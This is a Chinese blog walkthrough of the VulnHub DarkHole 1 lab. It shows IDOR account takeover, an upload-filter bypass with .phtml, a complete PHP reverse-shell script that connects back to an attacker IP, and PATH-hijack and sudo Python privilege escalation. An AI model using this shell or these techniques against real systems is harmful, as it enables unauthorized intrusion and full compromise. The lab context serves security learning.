vulnhub-darkhole打靶记录

发布于 2024-08-05  143 次阅读


靶机下载地址:https://www.vulnhub.com/entry/darkhole-1,724/

先用命令 列出当前局域网的所有设备

arp-scan -l
image-20240710112338063

看到靶机地址:192.168.49.136

nmap扫端口

nmap -A 192.168.49.136
image-20240710112736834

直接去看80端口

发现有一个登录界面 但尝试没有成功登录

所以看注册

发现注册admin被注册了

image-20240710120458356

随便注册试试

image-20240710114411550

注册成功后看到似乎可以改密码

image-20240710114454218

而且还看到了 在url后面有一个id=2 那id=1应该就是已经被注册的admin了

改成1发现

抓包看看是不是因为cookie

image-20240710115815658
image-20240710120107586

发现cookie都是一样的啊 说明不是cookie检测的

再试着抓包改密码的过程

image-20240710115355392

抓到了发现passwd是我要改成的密码 这里的id应该就是账号的id了

又因为cookie都是一样的 就猜测是不是把post传的id改成1 就是改admin的密码了

image-20240710120914637

似乎是成功越权了

发现多了一个文件上传

image-20240715094439691

测试发现只能传jpg,png,gif

使用.htaccess 加php 成功上传但是没有成功

最后发现phtml可以 所以使用在线网站生成php弹shell脚本 再上传

<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
   private $addr  = null;
   private $port  = null;
   private $os    = null;
   private $shell = null;
   private $descriptorspec = array(
       0 => array('pipe', 'r'), // shell can read from STDIN
       1 => array('pipe', 'w'), // shell can write to STDOUT
       2 => array('pipe', 'w')  // shell can write to STDERR
  );
   private $buffer  = 1024;    // read/write buffer size
   private $clen    = 0;       // command length
   private $error   = false;   // stream read/write error
   public function __construct($addr, $port) {
       $this->addr = $addr;
       $this->port = $port;
  }
   private function detect() {
       $detected = true;
       if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
           $this->os    = 'LINUX';
           $this->shell = 'sh';
      } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
           $this->os    = 'WINDOWS';
           $this->shell = 'cmd.exe';
      } else {
           $detected = false;
           echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
      }
       return $detected;
  }
   private function daemonize() {
       $exit = false;
       if (!function_exists('pcntl_fork')) {
           echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
      } else if (($pid = @pcntl_fork()) < 0) {
           echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
      } else if ($pid > 0) {
           $exit = true;
           echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
      } else if (posix_setsid() < 0) {
           // once daemonized you will actually no longer see the script's dump
           echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
      } else {
           echo "DAEMONIZE: Completed successfully!\n";
      }
       return $exit;
  }
   private function settings() {
       @error_reporting(0);
       @set_time_limit(0); // do not impose the script execution time limit
       @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
  }
   private function dump($data) {
       $data = str_replace('<', '&lt;', $data);
       $data = str_replace('>', '&gt;', $data);
       echo $data;
  }
   private function read($stream, $name, $buffer) {
       if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
           $this->error = true;                            // set global error flag
           echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
      }
       return $data;
  }
   private function write($stream, $name, $data) {
       if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
           $this->error = true;                            // set global error flag
           echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
      }
       return $bytes;
  }
   // read/write method for non-blocking streams
   private function rw($input, $output, $iname, $oname) {
       while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
           if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
           $this->dump($data); // script's dump
      }
  }
   // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
   // we must read the exact byte length from a stream and not a single byte more
   private function brw($input, $output, $iname, $oname) {
       $fstat = fstat($input);
       $size = $fstat['size'];
       if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
           // for some reason Windows OS pipes STDIN into STDOUT
           // we do not like that
           // we need to discard the data from the stream
           while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
               $this->clen -= $bytes;
               $size -= $bytes;
          }
      }
       while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
           $size -= $bytes;
           $this->dump($data); // script's dump
      }
  }
   public function run() {
       if ($this->detect() && !$this->daemonize()) {
           $this->settings();

           // ----- SOCKET BEGIN -----
           $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
           if (!$socket) {
               echo "SOC_ERROR: {$errno}: {$errstr}\n";
          } else {
               stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

               // ----- SHELL BEGIN -----
               $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
               if (!$process) {
                   echo "PROC_ERROR: Cannot start the shell\n";
              } else {
                   foreach ($pipes as $pipe) {
                       stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                  }

                   // ----- WORK BEGIN -----
                   $status = proc_get_status($process);
                   @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                   do {
$status = proc_get_status($process);
                       if (feof($socket)) { // check for end-of-file on SOCKET
                           echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                      } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                           echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                      }                                                                    // use proc_get_status() instead
                       $streams = array(
                           'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                           'write'  => null,
                           'except' => null
                      );
                       $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                       if ($num_changed_streams === false) {
                           echo "STRM_ERROR: stream_select() failed\n"; break;
                      } else if ($num_changed_streams > 0) {
                           if ($this->os === 'LINUX') {
                               if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                               if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                               if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                          } else if ($this->os === 'WINDOWS') {
                               // order is important
                               if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                               if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                               if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                          }
                      }
                  } while (!$this->error);
                   // ------ WORK END ------

                   foreach ($pipes as $pipe) {
                       fclose($pipe);
                  }
                   proc_close($process);
              }
               // ------ SHELL END ------

               fclose($socket);
          }
           // ------ SOCKET END ------

      }
  }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('192.168.49.131', 2333);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
image-20240715101230119

成功拿到shell

image-20240715102439484

使用python来整个可交互式shell

python3 -c "import pty;pty.spawn('/bin/bash')"
image-20240715102059721

发现有john,darkhole用户

并且john后面跟着/home/john cd进去康康

进来之后发先有几个东西

查看一下系统文件

ls -la
image-20240715104007369

发现有一个toto文件可以当前用户执行

image-20240715111333051

执行

image-20240715111316313

发现似乎是以John这个用户执行的id命令

己写一个id命令然后导入环境变量,让其引用id命令即可执行写入的代码

echo '/bin/bash' > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH

再运行toto就是john了

然后就能cat password了

image-20240715114317021

然后试试

sudo -l
image-20240715114742548

看到可以读写file.py这个pyhton文件 但是是空的 得自己写

echo 'import os;os.system("/bin/bash")' > file.py
image-20240715115354198

再用python3执行

image-20240715120536520

成功提权